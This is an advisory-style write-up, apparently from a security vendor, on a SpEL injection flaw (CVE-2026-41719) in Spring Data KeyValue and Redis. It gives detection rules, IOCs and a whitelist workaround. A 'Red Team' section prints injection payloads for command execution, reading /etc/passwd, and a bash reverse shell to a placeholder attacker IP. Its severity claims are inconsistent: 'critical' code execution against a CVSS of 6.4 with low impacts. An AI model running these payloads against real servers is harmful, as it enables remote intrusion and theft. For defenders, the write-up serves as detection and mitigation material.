CVE-2026-41719

Executive Summary

CVE-2026-41719 is a critical SpEL (Spring Expression Language) Injection vulnerability in Spring Data KeyValue and Spring Data Redis. The flaw allows an unauthenticated attacker to inject malicious SpEL expressions via unsanitized user input passed as a Sort parameter into repository query methods. When the SpelPropertyComparator evaluates the input, arbitrary code execution can occur, leading to data compromise, denial of service, or further system exploitation. The vulnerability affects multiple version ranges from 2.7.0 to 4.0.5. No official patch has been released, and no public proof-of-concept (PoC) or exploit code is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the potential impact.

Supply Chain & Package Security

This vulnerability affects the Spring Data KeyValue and Spring Data Redis packages, which are part of the broader Spring Data ecosystem. Organizations using these packages in their Java applications should immediately review their dependency versions. Since no patch is available, supply chain security measures such as dependency scanning, runtime monitoring, and input validation are critical. The lack of an official fix means that any application using these libraries is at risk until a workaround is implemented.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the potential for arbitrary code execution via SpEL injection elevates the risk. The lack of a patch and the widespread use of Spring Data in enterprise applications make this a significant concern.

Deep Dive & Mechanics

The vulnerability resides in the SpelPropertyComparator class within Spring Data KeyValue. This comparator is used to sort query results based on property values. When a Sort object is passed to a repository method, the framework evaluates the sort properties using SpEL. If an attacker can control the Sort parameter (e.g., via HTTP request parameters), they can inject malicious SpEL expressions.

How it works:

1. An application exposes a repository method that accepts a Sort parameter.
2. The attacker crafts a request with a Sort value containing a SpEL expression, such as T(java.lang.Runtime).getRuntime().exec('calc').
3. The SpelPropertyComparator evaluates this expression without sanitization, leading to code execution.

Affected Components:

• org.springframework.data.keyvalue.core.query.KeyValueQuery
• org.springframework.data.redis.core.query.SortQuery
• SpelPropertyComparator class

Root Cause: Lack of input validation on the Sort parameter before SpEL evaluation.

Vulnerable vs. Patched Code

Vulnerable Code Example:

// Vulnerable: Directly using user input as Sort
public List<Entity> search(String sortBy) {
    Sort sort = Sort.by(sortBy);
    return repository.findAll(sort);
}

Patched Code (Workaround):

// Patched: Sanitize input before creating Sort
public List<Entity> search(String sortBy) {
    if (!isValidProperty(sortBy)) {
        throw new IllegalArgumentException("Invalid sort property");
    }
    Sort sort = Sort.by(sortBy);
    return repository.findAll(sort);
}

private boolean isValidProperty(String property) {
    // Whitelist allowed properties
    return Arrays.asList("name", "date", "status").contains(property);
}

Note: No official patch exists. The above is a recommended workaround.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Spring Boot application using Spring Data KeyValue or Redis with a repository method accepting Sort from user input.
• Network access to the application.

Exploitation Steps:

1. Identify an endpoint that accepts a sort parameter (e.g., /api/entities?sort=name).
2. Replace the sort value with a SpEL payload:

   /api/entities?sort=T(java.lang.Runtime).getRuntime().exec('id')
   

3. Observe the execution of the id command on the server.

Example Payloads:

• Command Execution: T(java.lang.Runtime).getRuntime().exec('calc')
• File Read: T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))
• Reverse Shell: T(java.lang.Runtime).getRuntime().exec('bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"')

Lab Setup:

• Use a vulnerable Spring Boot application (e.g., from GitHub).
• Deploy in a Docker container.
• Use Burp Suite or curl to send crafted requests.

Blue Team

Detection:

• Monitor for unusual sort parameter values containing SpEL syntax (e.g., T(, exec, Runtime).
• Use WAF rules to block requests with SpEL patterns.
• Enable logging of all Sort parameter evaluations.

Mitigation:

• Implement input validation as shown in the patched code section.
• Disable SpelPropertyComparator if not needed.
• Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with sort parameters containing T(, exec, Runtime, ProcessBuilder.
  • Outbound connections to attacker-controlled IPs on unusual ports (e.g., 4444).
• File IOCs:
  • Unexpected files in /tmp or /var/tmp created by executed commands.
  • Modified application logs with SpEL expressions.
• Process IOCs:
  • Unusual child processes spawned by the Java application (e.g., calc, bash, nc).
• Log IOCs:
  • Stack traces containing SpelPropertyComparator or SpelEvaluationException.

Detection Engineering

YARA Rule

rule CVE_2026_41719_SpEL_Injection {
    meta:
        description = "Detects SpEL injection attempts in HTTP requests targeting Spring Data KeyValue"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-41719"
    strings:
        $spel_pattern1 = /sort=.*T\(java\.lang\.Runtime\)/ nocase
        $spel_pattern2 = /sort=.*exec\(/ nocase
        $spel_pattern3 = /sort=.*ProcessBuilder/ nocase
        $spel_pattern4 = /sort=.*getRuntime\(\)/ nocase
    condition:
        any of them
}

Sigma Rule

title: SpEL Injection Attempt via Sort Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with SpEL injection patterns in the sort parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - 'sort=T(java.lang.Runtime)'
            - 'sort=exec('
            - 'sort=ProcessBuilder'
    condition: selection
falsepositives:
    - Legitimate use of SpEL in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-41719 SpEL Injection Attempt"; flow:to_server; content:"sort="; nocase; pcre:"/sort=.*T\(java\.lang\.Runtime\)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Workaround: Implement strict input validation on the Sort parameter. Whitelist allowed property names and reject any input containing SpEL syntax.
2. Disable SpelPropertyComparator: If sorting is not critical, disable the comparator in application configuration.
3. Upgrade: Monitor for official patches from the Spring team and apply them as soon as available.
4. WAF Rules: Deploy web application firewall rules to block requests with SpEL patterns.
5. Runtime Monitoring: Use RASP (Runtime Application Self-Protection) tools to detect and block SpEL injection at runtime.
6. Network Segmentation: Limit outbound connections from application servers to prevent reverse shell exfiltration.

Valters IT
Securing Digital Frontiers